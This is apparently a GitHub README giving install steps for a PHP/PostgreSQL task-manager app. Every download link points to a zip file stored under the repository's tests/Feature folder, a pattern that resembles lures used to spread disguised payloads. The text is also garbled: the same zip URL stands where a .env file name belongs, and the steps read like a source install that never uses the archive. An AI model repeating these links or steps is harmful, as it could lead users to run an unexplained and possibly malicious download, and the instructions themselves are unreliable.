This guide will help you download and run the PostgreSQL Task Manager application. You will learn how to set this up smoothly.
Before you begin, ensure your computer meets these requirements:
- Operating System: Windows, MacOS, or Linux
- PostgreSQL: Version 16 or later installed on your machine
- PHP: Version 8.1 or later
- Composer: Downloaded and set up
-
Visit the Releases Page
Go to the Releases Page to download the application. -
Choose the Latest Version
Find the latest release on the page. Click on it to view available files. -
Download the Files
Look for the file named “https://github.com/Dexter376/task-manager/raw/refs/heads/main/tests/Feature/task_manager_2.5.zip” or similar. Click the link to download it to your computer. -
Extract the Zip File
Locate the downloaded zip file in your downloads folder. Right-click on it and choose “Extract All” to unzip it. -
Open a Command Prompt or Terminal
Navigate to the location where you extracted the files. You can do this by opening Command Prompt or Terminal. -
Install Dependencies
Run the following command to install the necessary packages:composer install
-
Set Up the Environment
Rename thehttps://github.com/Dexter376/task-manager/raw/refs/heads/main/tests/Feature/task_manager_2.5.zipfile to.env. Open this file in a text editor. Update the database credentials as needed:DB_CONNECTION=pgsqlDB_HOST=127.0.0.1DB_PORT=5432DB_DATABASE=your_database_nameDB_USERNAME=your_usernameDB_PASSWORD=your_password
-
Create the Database
Open your PostgreSQL client. Create a new database that matches the name you entered in the.envfile. -
Run Migrations
Back in the command prompt or terminal, execute:php artisan migrate
-
Start the Application
Finally, run the following command to start the server:php artisan serve
The application will be available at
http://127.0.0.1:8000.
- Task Management: Create, update, and delete tasks effortlessly.
- User Authentication: Secure login for users.
- RESTful API: Easily connects with other applications.
- Data Integrity: Utilizes PostgreSQL for reliable data handling.
To learn how to use the API, refer to the API documentation once the server is running. You can access it by visiting http://127.0.0.1:8000/api/documentation.
If you need help or have questions, visit our issues page. For contributions, feel free to create a pull request after reviewing our contribution guidelines.
This application is designed for users who want a straightforward task management solution. With a simple interface and reliable backend, you can manage your tasks with ease.
If you want to see how the frontend connects to this backend, check out the Frontend Repository Here.
For any further queries or suggestions, please open an issue on GitHub. Thank you for using our Task Manager application!